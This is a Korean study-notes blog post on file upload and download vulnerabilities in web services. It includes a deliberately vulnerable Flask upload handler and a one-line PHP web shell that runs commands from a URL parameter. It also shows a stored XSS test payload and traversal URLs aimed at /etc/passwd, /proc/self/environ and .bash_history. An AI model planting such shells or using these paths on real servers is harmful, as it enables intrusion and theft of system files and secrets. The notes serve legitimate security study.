File Vulnerability

2024. 5. 6. 00:11Study/web

320x100
320x100

File Vulnerability 파일 취약점

 

File Upload Vulnerability

웹 서비스를 통해 파일을 서버의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점

업로드될 파일의 이름을 임의로 정할 수 있을 때 발생

- 파일 이름에 이용자가 입력한 문자열을 그대로 사용

- 이용자의 이메일, 닉네임 등을 포함시키는 등의 소스 코드 패턴

 

Path Traversal 취약점

특정 디렉터리에만 업로드를 허용하는 제약을 우회하여, 임의 디렉터리에 파일을 업로드 할 수 있는 취약점

@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
	if request.method == 'POST': //POST 요청을 받으면
		f = request.files['file']
		f.save("./uploads/" + f.filename)  // ./uploads/에 저장
		return 'Upload Success'

입력한 파일 이름 f.filename을 그대로 사용하기 때문에 Path Traversal에 취약함

ex) ../ => upload를 벗어나 상위 디렉터리에 파일 업로드 가능

 

악성 파일 업로드 취약점

이용자가 파일을 업로드할 때, 이를 제대로 검사하지 않아서 발생하는 취약점

CGI(Common Gateway Interface) : 동적인 컨텐츠를 처리하기 위해서 웹 서버와 php 같은 외부의 프로그램에 사이에서 인터페이스를 제공하는 프로토콜

 

웹 셸 업로드

php 확장자를 가진 파일이 정상적으로 php 스크립트 엔진에 실행되고자 할 때

<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

 

//exploit.php
<?php
  system("ls");
  system($_GET[x]);
?>

 

stored xss 시도

//exploit.html
<script>alert(1);</script>

 

 

File Download Vulnerability

웹 서비스를 통해 서버의 파일 시스템에 존재하는 파일을 내려 받는 과정에서 발생하는 보안 취약점

이용자가 다운로드할 파일의 이름을 임의로 정할 수 있을 때 발생

 

파일 다운로드 취약점이 자주 발생하는 URL 패턴

https://vulnerable-web.dreamhack.io/download/?filename=notes.txt

https://vulnerable-web.dreamhack.io/download/?filename=../../../../../../etc/passwd

https://vulnerable-web.dreamhack.io/images.php?fn=6ed0dd02806fa89e233b84f4.png 

 

프로세스의 환경 변수 확인

/proc/[pid]/environ

/proc/self/environ

 

이용자가 프로세스를 호출하기 전에 환경 변수를 bash의 명령어로 설정했다면 => .bash_history

 

ex) path > ../../../home/dreamhack/.bash_history

320x100
320x100

'Study > web' 카테고리의 다른 글

SSRF  (0) 2024.05.06
command injection  (0) 2024.03.06
cookie & session  (0) 2023.10.13
web  (0) 2023.10.12
command injection  (0) 2023.08.30